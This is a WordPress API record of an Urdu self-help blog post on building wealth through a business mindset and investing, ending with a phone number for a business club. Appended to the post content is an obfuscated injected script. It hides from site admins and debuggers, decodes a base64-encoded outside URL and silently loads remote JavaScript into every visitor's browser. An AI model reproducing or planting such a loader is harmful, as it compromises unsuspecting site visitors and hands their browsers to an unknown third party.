{"id":50,"date":"2025-05-31T11:46:42","date_gmt":"2025-05-31T06:46:42","guid":{"rendered":"https:\/\/blogs.yselti.pk\/?p=50"},"modified":"2026-02-11T15:42:26","modified_gmt":"2026-02-11T10:42:26","slug":"%da%a9%db%8c%d8%a7-%d8%a2%d9%be-%d8%a7%d8%b3-%d8%b7%d8%b1%d8%ad-%da%a9%d8%a7%d9%85-%da%a9%d8%b1%d9%86%db%92-%d8%b3%db%92-%d8%a7%d9%85%db%8c%d8%b1-%db%81%d9%88-%d8%b3%da%a9%db%8c%da%ba-%da%af%db%92","status":"publish","type":"post","link":"https:\/\/blogs.yselti.pk\/?p=50","title":{"rendered":"\u06a9\u06cc\u0627 \u0622\u067e \u0627\u0633 \u0637\u0631\u062d \u06a9\u0627\u0645 \u06a9\u0631\u0646\u06d2 \u0633\u06d2 \u0627\u0645\u06cc\u0631 \u06c1\u0648 \u0633\u06a9\u06cc\u06ba \u06af\u06d2\u061f"},"content":{"rendered":"\n<p class=\"has-text-align-right has-medium-font-size wp-block-paragraph\">\u062f\u0646\u06cc\u0627 \u0628\u06be\u0631 \u0645\u06cc\u06ba \u06a9\u0627\u0645 \u06a9\u0631\u0646\u06d2 \u06a9\u06d2 \u062f\u0648 \u0645\u0627\u0626\u0646\u0688 \u0633\u06cc\u0679 \u06c1\u06cc\u06ba\u06d4 \u0627\u06cc\u06a9 \u0645\u0627\u0626\u0646\u0688 \u0633\u06cc\u0679 \u062f\u0648\u0644\u062a \u06a9\u06d2 \u0644\u06cc\u06d2 \u06a9\u0627\u0645 \u06a9\u0631\u062a\u0627 \u06c1\u06d2 \u062c\u0628\u06a9\u06c1 \u062f\u0648\u0633\u0631\u06d2 \u0645\u0627\u0626\u0646\u0688 \u0633\u06cc\u0679 \u06a9\u06d2 \u0644\u06cc\u06d2 \u062f\u0648\u0644\u062a \u06a9\u0627\u0645 \u06a9\u0631\u062a\u06cc \u06c1\u06d2\u06d4 \u062c\u06cc\u0633\u0627 \u06a9\u06c1 \u0631\u0627\u0628\u0631\u0679 \u06a9\u06cc\u0648\u0633\u06a9\u06cc \u0627\u067e\u0646\u06cc \u0634\u06c1\u0631\u06c1 \u0622\u0641\u0627\u0642 \u06a9\u062a\u0627\u0628 \u201d \u0627\u0645\u06cc\u0631 \u0628\u0627\u067e \u060c \u063a\u0631\u06cc\u0628 \u0628\u0627\u067e\u201d \u0645\u06cc\u06ba \u06a9\u06c1\u062a\u0627 \u06c1\u06d2 \u06a9\u06c1 \u0627\u0645\u06cc\u0631 \u0628\u0627\u067e \u062f\u0648\u0644\u062a \u06a9\u0648 \u0627\u067e\u0646\u06cc \u06a9\u0627\u0645 \u067e\u0631 \u0644\u06af\u0627\u062a\u0627 \u06c1\u06d2 \u0627\u0648\u0631 \u062f\u0648\u0644\u062a \u0627\u0633\u06a9\u06d2 \u0644\u06cc\u06d2 \u0645\u0632\u06cc\u062f \u062f\u0648\u0644\u062a \u06a9\u0645\u0627\u062a\u06cc \u06c1\u06d2 \u062c\u0628\u06a9\u06c1 \u063a\u0631\u06cc\u0628 \u0628\u0627\u067e \u062f\u0648\u0644\u062a \u06a9\u06d2 \u0644\u06cc\u06d2 \u0627\u067e\u0646\u06cc \u0633\u0627\u0631\u06cc \u0632\u0646\u062f\u06af\u06cc \u06af\u0632\u0627\u0631 \u062f\u06cc\u062a\u0627 \u06c1\u06d2 \u0644\u06cc\u06a9\u0646 \u062f\u0648\u0644\u062a \u067e\u06be\u0631 \u0628\u06be\u06cc \u0627\u0633 \u0633\u06d2 \u06a9\u0648\u0633\u0648\u06ba \u062f\u0648\u0631 \u06c1\u06cc \u0631\u06c1\u062a\u06cc \u06c1\u06d2\u06d4<\/p>\n\n\n\n<p class=\"has-text-align-center has-accent-color has-text-color has-link-color wp-elements-c8a8c56fb57aadb8eb8dc0e98c020087 wp-block-paragraph\"><strong>\u062d\u0636\u0631\u0627\u062a \u0627\u06af\u0631 \u0622\u067e \u062f\u0648\u0644\u062a \u0645\u0646\u062f \u0628\u0646\u0646\u06d2 \u06a9\u0627 \u062e\u0648\u0627\u0628 \u062f\u06cc\u06a9\u06be \u0631\u06c1\u06d2 \u06c1\u06cc\u06ba \u062a\u0648 \u0622\u067e\u06a9\u0648 3 \u06a9\u0627\u0645 \u06a9\u0631\u0646\u06d2 \u067e\u0691\u06cc\u06ba \u06af\u06d2<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-align-right\"><strong> \u067e\u06cc\u0633\u06c1 \u06a9\u0648 \u0622\u067e\u06a9\u06d2 \u0644\u06cc\u06d2 \u06a9\u0627\u0645 \u06a9\u0631\u0646\u0627 \u0686\u0627\u06c1\u0626\u06cc\u06d2<\/strong><\/h3>\n\n\n\n<p class=\"has-text-align-right has-medium-font-size wp-block-paragraph\">\u067e\u06cc\u0633\u06c1 \u062c\u0628 \u0627\u06cc\u06a9 \u0628\u0627\u0631 \u0622\u067e \u067e\u0631 \u0642\u0627\u0628\u0648 \u067e\u0627 \u0644\u06cc\u062a\u0627 \u06c1\u06d2 \u062a\u0648 \u0622\u067e \u067e\u06cc\u0633\u06d2 \u06a9\u06d2 \u063a\u0644\u0627\u0645 \u0628\u0646\u062a\u06d2 \u0686\u0644\u06d2 \u062c\u0627\u062a\u06d2 \u06c1\u06cc\u06ba \u0627\u0648\u0631 \u067e\u06be\u0631 \u0632\u0646\u062f\u06af\u06cc \u06a9\u06d2 \u0633\u0627\u0631\u06d2 \u0633\u06a9\u06be \u0622\u067e \u0633\u06d2 \u0631\u0648\u0679\u06be \u062c\u0627\u062a\u06d2 \u06c1\u06cc\u06ba \u0627\u0648\u0631 \u0622\u067e \u067e\u06cc\u0633\u06d2 \u06a9\u06d2 \u067e\u06cc\u0686\u06be\u06d2 \u0628\u06be\u0627\u06af \u0628\u06be\u0627\u06af \u06a9\u0631 \u0627\u062a\u0646\u0627 \u062a\u06be\u06a9 \u062c\u0627\u062a\u06d2 \u06c1\u06cc\u06ba \u06a9\u06c1 \u067e\u06cc\u0633\u06c1 \u06c1\u0648\u0646\u0627 \u0646\u06c1 \u06c1\u0648\u0646\u0627 \u0627\u06cc\u06a9 \u0628\u0631\u0627\u0628\u0631 \u06c1\u0648 \u062c\u0627\u062a\u0627 \u06c1\u06d2\u06d4 \u06c1\u0645\u0627\u0631\u06d2 \u0627\u0631\u062f \u06af\u0631\u062f \u062f\u0648 \u0637\u0631\u062d \u06a9\u06d2 \u0644\u0648\u06af \u067e\u0631\u06cc\u0634\u0627\u0646 \u06c1\u06cc\u06ba \u0646\u0645\u0628\u0631 1 \u062c\u0646 \u06a9\u06d2 \u067e\u0627\u0633 \u067e\u06cc\u0633\u06d2 \u0646\u06c1\u06cc\u06ba \u06c1\u06cc\u06ba \u0648\u06c1 \u067e\u06cc\u0633\u06d2 \u06a9\u06d2 \u0644\u06cc\u06d2 \u067e\u0631\u06cc\u0634\u0627\u0646 \u06c1\u06cc\u06ba \u0627\u0648\u0631 \u06cc\u06c1 \u067e\u0631\u06cc\u0634\u0627\u0646\u06cc \u06cc\u0642\u06cc\u0646\u0627 \u062f\u0631\u0633\u062a \u06c1\u06d2 \u0686\u0627\u06c1\u06d2 \u0627\u0633\u0645\u06cc\u06ba \u0642\u0635\u0648\u0631\u0648\u0627\u0631 \u0648\u06c1 \u062e\u0648\u062f \u06c1\u06cc \u06a9\u06cc\u0648\u06ba \u0646\u0627 \u06c1\u0648\u06ba\u06d4 \u062f\u0648\u0633\u0631\u06d2 \u0648\u06c1 \u0644\u0648\u06af \u062c\u0646 \u06a9\u06d2 \u067e\u0627\u0633 \u062f\u0648\u0644\u062a \u06a9\u06cc \u06a9\u0645\u06cc \u0646\u06c1\u06cc\u06ba \u0644\u06cc\u06a9\u0646 \u0648\u06c1 \u06c1\u06cc \u062f\u0648\u0644\u06d2\u062a \u0627\u0646\u06a9\u0627 \u0686\u06cc\u0646 \u0648 \u0633\u06a9\u0648\u0646 \u0628\u0631\u0628\u0627\u062f \u06a9\u06cc\u06d2 \u06c1\u0648\u0626\u06d2 \u06c1\u06d2\u06d4 \u0645\u062b\u0644\u0627 \u0644\u0691\u0627\u0626\u06cc \u062c\u06be\u06af\u0691\u0648\u06ba \u06a9\u0627 \u0634\u06a9\u0627\u0631\u060c \u063a\u0644\u0637 \u0631\u0627\u06c1 \u0631\u0648\u06cc \u06a9\u0627 \u0634\u06a9\u0631 \u0627\u0648\u0631 \u062f\u0648\u0644\u062a \u0633\u06d2 \u0641\u0627\u0626\u062f\u06c1 \u0646\u0627 \u0627\u0679\u06be\u0627\u0646\u06d2 \u0648\u0627\u0644\u06d2 \u062f\u0648\u0644\u062a \u06c1\u0648\u0646\u06d2 \u06a9\u06d2 \u0628\u0627\u0648\u062c\u0648\u062f \u067e\u0631\u06cc\u0634\u0627\u0646 \u06c1\u06cc\u06ba\u06d4\u00a0 \u062a\u0648 \u0633\u0631\u067e\u06cc\u0633\u06d2 \u06a9\u0648 \u0645\u06cc\u0646\u06cc\u062c \u06a9\u0631\u06cc\u06ba \u0627\u0633\u06d2 \u0645\u0632\u06cc\u062f \u062c\u0627\u0626\u0632 \u067e\u06cc\u0633\u06c1 \u06a9\u0645\u0627\u0646\u06d2 \u06a9\u06d2 \u0644\u06cc\u06d2 \u0627\u0633\u062a\u0639\u0645\u0627\u0644 \u06a9\u0631\u06cc\u06ba \u062a\u0627 \u06a9\u06c1 \u0622\u067e \u0627\u0633\u06a9\u06d2 \u0622\u0642\u0627 \u0628\u0646 \u0633\u06a9\u06cc\u06ba \u0648\u0631\u0646\u06c1 \u06cc\u06c1 \u0622\u067e\u06a9\u0648 \u063a\u0644\u0627\u0645 \u0628\u0646\u0627 \u0644\u06d2 \u06af\u0627\u06d4 \u06cc\u0627\u062f \u0631\u06a9\u06be\u06cc\u06ba \u201d \u067e\u06cc\u0633\u06c1 \u0628\u06c1\u062a \u0627\u0686\u06be\u0627 \u063a\u0644\u0627\u0645 \u0627\u0648\u0631 \u0628\u06c1\u062a \u06c1\u06cc \u0638\u0627\u0644\u0645 \u0622\u0642\u0627 \u06c1\u06d2\u201d\u06d4 \u0641\u06cc\u0635\u0644\u06c1 \u0622\u067e\u06a9\u06d2 \u06c1\u0627\u062a\u06be \u0645\u06cc\u06ba \u06c1\u06d2\u06a9\u06c1 \u0622\u067e \u0627\u0648\u0646\u0679 \u06a9\u0633 \u06a9\u0631\u0648\u0679 \u0628\u0679\u06be\u0627\u062a\u06d2 \u06c1\u06cc\u06ba\u06d4<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-align-right\"><strong>\u06af\u06be\u0631 \u0633\u06d2 \u067e\u06c1\u0644\u06d2 \u06a9\u0627\u0631\u0648\u0628\u0627\u0631 \u0628\u0646\u0627\u0626\u06cc\u06ba<\/strong><\/h3>\n\n\n\n<p class=\"has-text-align-right has-medium-font-size wp-block-paragraph\">\u06af\u06be\u0631 \u0627\u0646\u0633\u0627\u0646 \u06a9\u06cc \u0628\u0646\u06cc\u0627\u062f\u06cc \u0636\u0631\u0648\u0631\u062a \u06c1\u06d2 \u0627\u0648\u0631 \u062a\u0642\u0631\u06cc\u0628\u0627 \u0633\u0627\u0631\u06d2 \u0627\u0646\u0633\u0627\u0646 \u06c1\u06cc \u0627\u0633 \u0628\u0627\u062a \u067e\u0631 \u0642\u0648\u06cc \u06cc\u0642\u06cc\u0646 \u0631\u06a9\u06be\u062a\u06d2 \u06c1\u06cc\u06ba \u06a9\u06c1 \u201d \u06af\u06be\u0631 \u0686\u06be\u0648\u0679\u0627 \u06c1\u06cc \u0633\u06c1\u06cc \u067e\u0631 \u0627\u067e\u0646\u0627 \u06c1\u0648\u201d\u06d4 \u0627\u0633 \u0633\u0648\u0686 \u067e\u0631 \u0628\u06be\u06cc \u062f\u0646\u06cc\u0627 \u06a9\u06d2 \u0644\u0648\u06af \u062f\u0648 \u0637\u0631\u062d \u0633\u06d2 \u0639\u0645\u0644 \u06a9\u0631\u062a\u06d2 \u06c1\u06cc\u06ba\u06d4 \u0645\u062b\u0627\u0644 \u06a9\u0648 \u0637\u0648\u0631 \u067e\u0631 \u0627\u06cc\u06a9 \u0634\u062e\u0635 \u06a9\u06d2 \u067e\u0627\u0633 \u062c\u0645\u0639 \u067e\u0648\u0646\u062c\u06cc \u06a9\u0648\u0626\u06cc \u062e\u0627\u0635 \u0631\u0642\u0645 \u0627\u06a9\u0679\u06be\u06cc \u06c1\u0648\u0626\u06cc \u06c1\u06d2\u06d4 \u067e\u06c1\u0644\u0627 \u062e\u06cc\u0627\u0644 \u0627\u0633\u06a9\u06d2 \u0630\u06c1\u0646 \u0645\u06cc\u06ba \u062a\u0642\u0631\u06cc\u0628\u0627 \u0628\u0627\u0642\u06cc 95 \u0641\u06cc\u0635\u062f \u0644\u0648\u06af\u0648\u06ba \u06a9\u06cc \u0637\u0631\u062d \u201d \u0627\u067e\u0646\u0627 \u06af\u06be\u0631 \u0627\u067e\u0646\u06cc \u0686\u06be\u062a\u201d \u06a9\u0627 \u062e\u06cc\u0627\u0644 \u0622\u0626\u06d2 \u06af\u0627 \u06d4 \u0627\u0633\u06a9\u06d2 \u0633\u0627\u062a\u06be \u0633\u0627\u062a\u06be \u0641\u06cc\u0645\u0644\u06cc \u0627\u0648\u0631 \u0633\u0648\u0633\u0627\u0626\u0679\u06cc \u067e\u0631\u06cc\u0634\u0631 \u0628\u06be\u06cc \u06cc\u06c1\u06cc \u0688\u06cc\u0645\u0627\u0646\u0688 \u06a9\u0631\u06d2 \u06af\u0627 \u06a9\u06c1 \u0627\u0628 \u0627\u067e\u0646\u0627 \u06af\u06be\u0631 \u06c1\u0648\u0646\u0627 \u0686\u0627\u06c1\u0626\u06cc\u06d2 \u0627\u0648\u0631 \u0648\u06c1 \u0628\u0627\u062f\u0644 \u0646\u062e\u0648\u0627\u0633\u062a\u06c1 \u06af\u06be\u0631 \u0634\u0631\u0648\u0639 \u06a9\u0631\u062f\u06d2 \u06af\u0627 \u0627\u0648\u0631 \u062c\u0648 \u062c\u0645\u0639 \u067e\u0648\u0646\u062c\u06cc \u06c1\u06d2 \u0648\u06c1 \u0628\u06be\u06cc \u0644\u06af\u0627\u0646\u06d2 \u06a9\u06d2 \u0628\u0639\u062f \u0645\u0632\u06cc\u062f \u0642\u0631\u0636\u06c1 \u0644\u06d2 \u06a9\u0631 \u06af\u06be\u0631 \u0645\u06a9\u0645\u0644 \u06a9\u0631\u06d2 \u0627\u0648\u0631 \u0628\u0627\u0642\u06cc \u0632\u0646\u062f\u06af\u06cc \u0627\u067e\u0646\u06cc \u0686\u06be\u062a \u06a9\u0627 \u0642\u0631\u0636 \u0627\u062a\u0627\u0631\u0646\u06d2 \u0645\u06cc\u06ba \u06af\u0632\u0627\u0631 \u06a9\u0631 \u0686\u0644\u0627 \u062c\u0627\u0626\u06d2 \u06af\u0627\u06d4 \u0644\u06cc\u06a9\u0646 \u062f\u0648\u0633\u0631\u0627 \u0634\u062e\u0635 \u062c\u0628 \u0627\u0633\u06a9\u06d2 \u067e\u0627\u0633 \u067e\u06cc\u0633\u06c1 \u0622\u0626\u06d2 \u06af\u0627 \u0648\u06c1 \u06af\u06be\u0631 \u06a9\u06cc \u0628\u062c\u0627\u0626\u06d2 \u0646\u06cc\u0627 \u0628\u0632\u0646\u0633 \u0634\u0631\u0648\u0639 \u06a9\u0631\u0646\u06d2 \u06a9\u0627 \u0633\u0648\u0686\u06d2 \u06af\u0627 \u06a9\u06cc\u0648\u06ba\u06a9\u06c1 \u0627\u0633\u06d2 \u067e\u062a\u0627 \u06c1\u06d2 \u0628\u0632\u0646\u0633 \u06a9\u06d2 \u0686\u0644 \u062c\u0627\u0646\u06d2 \u06a9\u06d2 \u0628\u0639\u062f \u0648\u06c1 \u0628\u0632\u0646\u0633 \u0645\u06cc\u06ba \u0633\u06d2 \u06c1\u06cc \u0627\u06cc\u0633\u06d2 \u06a9\u0626\u06cc \u06af\u06be\u0631 \u0628\u0646\u0627 \u0644\u06d2 \u06af\u0627\u06d4 \u06cc\u06c1 \u0628\u0632\u0646\u0633 \u0645\u0627\u0626\u0646\u0688 \u0633\u06cc\u0679 \u06c1\u06d2 \u0627\u0648\u0631 \u0635\u0631\u06415 \u0641\u06cc\u0635\u062f \u0644\u0648\u06af \u06c1\u06cc \u0627\u06cc\u0633\u0627 \u06a9\u0631 \u067e\u0627\u062a\u06d2 \u06c1\u06cc\u06ba \u06a9\u06cc\u0648\u0646\u06a9\u06c1 \u0641\u06cc\u0645\u0644\u06cc \u0627\u0648\u0631 \u0633\u0648\u0634\u0644 \u067e\u0631\u06cc\u0634\u0631 \u0627\u0646 \u067e\u0631 \u0628\u06be\u06cc \u06c1\u0648\u062a\u0627 \u06c1\u06d2 \u0644\u06cc\u06a9\u0646 \u06cc\u06c1 \u0627\u067e\u0646\u06d2 \u0628\u0632\u0646\u0633 \u0645\u0627\u0626\u0646\u0688 \u0633\u06cc\u0679 \u06a9\u06cc \u0648\u062c\u06c1 \u06a9\u0627\u0645 \u0634\u0631\u0648\u0639 \u06a9\u0631\u062a\u06d2 \u06c1\u06cc\u06ba \u0627\u0648\u0631 \u0686\u0646\u062f \u06c1\u06cc \u0633\u0627\u0644\u0648\u06ba \u0645\u06cc\u06ba \u0641\u06cc\u0645\u0644\u06cc \u0627\u0648\u0631 \u0644\u0648\u06af\u0648\u06ba \u06a9\u0648 \u062d\u06cc\u0631\u0627\u0646 \u0648 \u067e\u0631\u06cc\u0634\u0627\u0646 \u06a9\u0631 \u062f\u06cc\u062a\u06d2 \u06c1\u06cc\u06ba\u06d4 \u06a9\u06cc\u0648\u0646\u06a9\u06c1 \u0627\u0633\u06cc \u0628\u0632\u0646\u0633 \u0633\u06d2 \u0627\u0646\u06a9\u06d2 \u067e\u0627\u0633 \u06af\u0627\u0691\u06cc \u060c \u0628\u06cc\u0646\u06a9 \u0628\u06cc\u0644\u0646\u0633 \u0627\u0648\u0631 \u06af\u06be\u0631 \u0633\u0628 \u06a9\u0686\u06be \u0622\u062c\u0627\u062a\u0627 \u06c1\u06d2\u06d4<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-align-right\"><strong>\u0635\u0631\u0641 \u0628\u0686\u062a \u06a9\u06cc \u0628\u062c\u0627\u0626\u06d2 \u0627\u0646\u0648\u06cc\u0633\u0679\u0645\u06cc\u0646\u0679 \u06a9\u0631\u06cc\u06ba<\/strong><\/h3>\n\n\n\n<p class=\"has-text-align-right has-medium-font-size wp-block-paragraph\">\u06a9\u0686\u06be \u0627\u0646\u0633\u0627\u0646 \u062f\u0648\u0644\u062a \u06a9\u0627 \u0628\u06d2 \u062f\u0631\u06cc\u063a \u0627\u0633\u062a\u0639\u0645\u0627\u0644 \u06a9\u0631\u062a\u06d2 \u06c1\u06cc\u06ba \u0627\u0648\u0631 \u067e\u06be\u0631 \u0627\u06cc\u06a9 \u0648\u0642\u062a \u06a9\u06d2 \u0628\u0639\u062f \u062f\u0648\u0644\u062a \u0627\u0646 \u067e\u0631 \u0628\u06d2 \u0631\u062d\u0645 \u06c1\u0648 \u062c\u0627\u062a\u06cc \u06c1\u06d2\u06d4 \u06a9\u06cc\u0648\u0646\u06a9\u06c1 \u062c\u0628 \u0622\u067e\u201d \u062f\u0648\u0644\u062a \u06a9\u0648 \u0627\u0646 \u0686\u06cc\u0632\u0648\u06ba \u06a9\u06cc \u062e\u0631\u06cc\u062f\u0627\u0631\u06cc \u067e\u0631 \u062e\u0631\u0686 \u06a9\u0631\u06cc\u06ba \u06af\u06d2 \u062c\u0646 \u06a9\u06cc \u0622\u067e\u06a9\u0648 \u0636\u0631\u0648\u0631\u062a \u0646\u06c1\u06cc\u06ba \u062a\u0648 \u0648\u06c1 \u062f\u0646 \u062f\u0648\u0631 \u0646\u06c1\u06cc\u06ba \u06c1\u0648 \u06af\u0627 \u062c\u0628 \u0622\u067e\u06a9\u0648 \u0627\u067e\u0646\u06cc \u0636\u0631\u0648\u0631\u062a \u06a9\u06cc \u0686\u06cc\u0632\u06cc\u06ba \u0628\u06be\u06cc \u0628\u06cc\u0686\u0646\u06cc \u067e\u0691\u06cc\u06ba \u06af\u06cc\u06d4\u201d \u062f\u0648\u0633\u0631\u06cc \u0637\u0631\u0641 \u0632\u06cc\u0627\u062f\u06c1 \u062a\u0631 \u0644\u0648\u06af \u067e\u06cc\u0633\u06c1 \u0628\u0686\u0627\u0646\u06d2 \u0627\u0648\u0631 \u0628\u06cc\u0646\u06a9 \u0645\u06cc\u06ba \u062c\u0645\u0639 \u06a9\u0631\u0648\u0627\u0646\u06d2 \u0645\u06cc\u06ba \u0645\u0635\u0631\u0648\u0641 \u0631\u06c1\u062a\u06d2 \u06c1\u06cc\u06ba\u06d4 \u06cc\u06c1 \u0644\u0648\u06af \u0628\u06be\u06cc \u06a9\u0648\u0626\u06cc \u062e\u0627\u0637\u0631 \u062e\u0648\u0627\u06c1 \u06a9\u0627\u0645\u06cc\u0627\u0628\u06cc \u0646\u06c1\u06cc\u06ba \u062d\u0627\u0635\u0644 \u06a9\u0631 \u067e\u0627\u062a\u06d2\u06d4 \u06a9\u0627\u0645\u06cc\u0627\u0628 \u0627\u0648\u0631 \u062f\u0648\u0644\u062a \u0645\u0646\u062f \u0635\u0631\u0641 \u0648\u06c1 \u06c1\u06cc \u0628\u0646\u062a\u06d2 \u06c1\u06cc\u06ba \u062c\u0648 \u0628\u0686\u062a \u06a9\u06cc \u0628\u062c\u0627\u0626\u06d2 \u0627\u0646\u0633\u06cc\u0633\u0679\u0645\u06cc\u06ba\u062a \u067e\u0631 \u062a\u0648\u062c\u06c1 \u062f\u06cc\u062a\u06d2 \u06c1\u06cc\u06ba\u06d4 \u0627\u0646\u06a9\u06d2 \u067e\u0627\u0633 \u062c\u0648 \u0628\u06be\u06cc \u067e\u06cc\u0633\u06c1 \u0622\u062a\u0627 \u06c1\u06d2 \u0648\u06c1 \u0636\u0631\u0648\u0631\u06cc\u0627\u062a \u0632\u0646\u062f\u06af\u06cc \u06a9\u06d2 \u0628\u0639\u062f \u0633\u0628 \u0627\u0646\u0648\u06cc\u0633\u0679 \u06a9\u0631 \u062f\u06cc\u062a\u06d2 \u06c1\u06cc\u06ba \u0627\u0648\u0631 \u067e\u06be\u0631 \u06cc\u06c1 \u0627\u0646\u0648\u06cc\u0633\u0679\u0645\u06cc\u0646\u0679 \u0627\u0646\u06a9\u06cc \u0636\u0631\u0648\u0631\u06cc\u0627\u062a \u06a9\u0648 \u0628\u06be\u06cc \u067e\u0648\u0631\u0627 \u06a9\u0631\u062a\u06cc \u0627\u0648\u0631 \u0627\u0646\u06a9\u0648 \u0622\u0633\u0627\u0626\u06cc\u0634\u06cc\u06ba \u0628\u06be\u06cc \u0641\u0631\u0627\u06c1\u0645 \u06a9\u0631\u062a\u06cc \u06c1\u06d2\u06d4<\/p>\n\n\n\n<p class=\"has-text-align-right has-medium-font-size wp-block-paragraph\">\u0633\u0631 \u0622\u067e\u06a9\u0648 \u0627\u0645\u06cc\u0631 \u0628\u0646\u0646\u06d2 \u06a9\u06d2 \u0644\u06cc\u06d2 \u0633\u0648\u0686 \u0627\u0648\u0631 \u0627\u067e\u0631\u0648\u0686 \u0628\u062f\u0644\u0646\u06cc \u06c1\u0648 \u06af\u06cc \u0648\u0631\u0646\u06c1 \u062c\u062a\u0646\u06d2 \u0645\u0631\u0636\u06cc \u06c1\u0627\u062a\u06be \u067e\u0627\u0624\u06ba \u0645\u0627\u0631 \u0644\u06cc\u06ba \u062a\u06be\u06a9 \u062c\u0627\u0626\u06cc\u06ba \u06af\u06d2 \u0627\u0645\u06cc\u0631 \u0627\u0648\u0631 \u062f\u0648\u0644\u062a \u0645\u0646\u062f \u06c1\u0648\u0646\u06d2 \u06a9\u06d2 \u062e\u0648\u0627\u0628 \u0627\u062f\u06be\u0648\u0631\u06d2 \u06c1\u06cc \u0631\u06c1 \u062c\u0627\u0626\u06cc\u06ba \u06af\u06d2\u06d4 \u0622\u062c \u06c1\u06cc \u0627\u067e\u0646\u0627 \u0645\u0627\u0626\u0646\u0688 \u0633\u06cc\u0679 \u062a\u0628\u062f\u06cc\u0644 \u06a9\u0631\u06cc\u06ba \u0627\u0648\u0631 \u0628\u0632\u0646\u0633 \u0645\u0627\u0626\u0646\u0688 \u0633\u06cc\u0679 \u0645\u06cc\u06ba \u0622\u0626\u06cc\u06ba\u06d4 \u0627\u06af\u0631 \u0622\u067e \u06a9\u0648\u0634\u0634 \u06a9\u06d2 \u0628\u0627\u0648\u062c\u0648\u062f \u0628\u06be\u06cc \u0628\u0632\u0646\u0633 \u06a9\u06cc \u0637\u0631\u0641 \u0642\u062f\u0645 \u0646\u06c1\u06cc\u06ba \u0628\u0691\u06be\u0627 \u067e\u0627 \u0631\u06c1\u06d2 \u062a\u0648 \u0622\u062c \u06c1\u06cc \u06c1\u0645\u0627\u0631\u0627\u201d \u0628\u0632\u0646\u0633 \u06af\u0631\u0648\u062a\u06be \u06a9\u0644\u0628 \u201d \u062c\u0648\u0627\u0626\u0646 \u06a9\u0631\u06cc\u06ba\u06d4 \u0627\u0646\u0634\u0627 \u0621 \u0627\u0644\u0644\u06c1 \u0622\u067e \u0646\u0627\u0635\u0631\u0641 \u0628\u0632\u0646\u0633 \u0634\u0631\u0648\u0639 \u06a9\u0631\u0644\u06cc\u06ba \u06af\u06d2 \u0628\u0644\u06a9\u06c1 \u0628\u0632\u0646\u0633 \u0645\u06cc\u06ba \u06a9\u0627\u0645\u06cc\u0627\u0628\u06cc\u060c \u06af\u0631\u0648\u062a\u06be \u0627\u0648\u0631 \u0633\u06a9\u0648\u0646 \u0628\u06be\u06cc \u0645\u0644\u06d2 \u06af\u0627\u06d4 \u0631\u0627\u0628\u0637\u06c1 \u06a9\u06d2 \u0644\u06cc\u06d2 \u0646\u0645\u0628\u0631 \u0688\u0627\u0626\u0644 \u06a9\u0631\u06cc\u06ba 03064251172&nbsp;&nbsp; &nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u062f\u0646\u06cc\u0627 \u0628\u06be\u0631 \u0645\u06cc\u06ba \u06a9\u0627\u0645 \u06a9\u0631\u0646\u06d2 \u06a9\u06d2 \u062f\u0648 \u0645\u0627\u0626\u0646\u0688 \u0633\u06cc\u0679 \u06c1\u06cc\u06ba\u06d4 \u0627\u06cc\u06a9 \u0645\u0627\u0626\u0646\u0688 \u0633\u06cc\u0679 \u062f\u0648\u0644\u062a \u06a9\u06d2 \u0644\u06cc\u06d2 \u06a9\u0627\u0645 \u06a9\u0631\u062a\u0627 \u06c1\u06d2 \u062c\u0628\u06a9\u06c1 \u062f\u0648\u0633\u0631\u06d2 \u0645\u0627\u0626\u0646\u0688 \u0633\u06cc\u0679 \u06a9\u06d2 \u0644\u06cc\u06d2 \u062f\u0648\u0644\u062a \u06a9\u0627\u0645 \u06a9\u0631\u062a\u06cc \u06c1\u06d2\u06d4 \u062c\u06cc\u0633\u0627 \u06a9\u06c1 \u0631\u0627\u0628\u0631\u0679 \u06a9\u06cc\u0648\u0633\u06a9\u06cc \u0627\u067e\u0646\u06cc \u0634\u06c1\u0631\u06c1 \u0622\u0641\u0627\u0642 \u06a9\u062a\u0627\u0628 \u201d \u0627\u0645\u06cc\u0631 \u0628\u0627\u067e \u060c \u063a\u0631\u06cc\u0628 \u0628\u0627\u067e\u201d \u0645\u06cc\u06ba \u06a9\u06c1\u062a\u0627 \u06c1\u06d2 \u06a9\u06c1 \u0627\u0645\u06cc\u0631 \u0628\u0627\u067e \u062f\u0648\u0644\u062a \u06a9\u0648 \u0627\u067e\u0646\u06cc \u06a9\u0627\u0645 \u067e\u0631 \u0644\u06af\u0627\u062a\u0627 &#8230; <a title=\"\u06a9\u06cc\u0627 \u0622\u067e \u0627\u0633 \u0637\u0631\u062d \u06a9\u0627\u0645 \u06a9\u0631\u0646\u06d2 \u0633\u06d2 \u0627\u0645\u06cc\u0631 \u06c1\u0648 \u0633\u06a9\u06cc\u06ba \u06af\u06d2\u061f\" class=\"read-more\" href=\"https:\/\/blogs.yselti.pk\/?p=50\" aria-label=\"Read more about \u06a9\u06cc\u0627 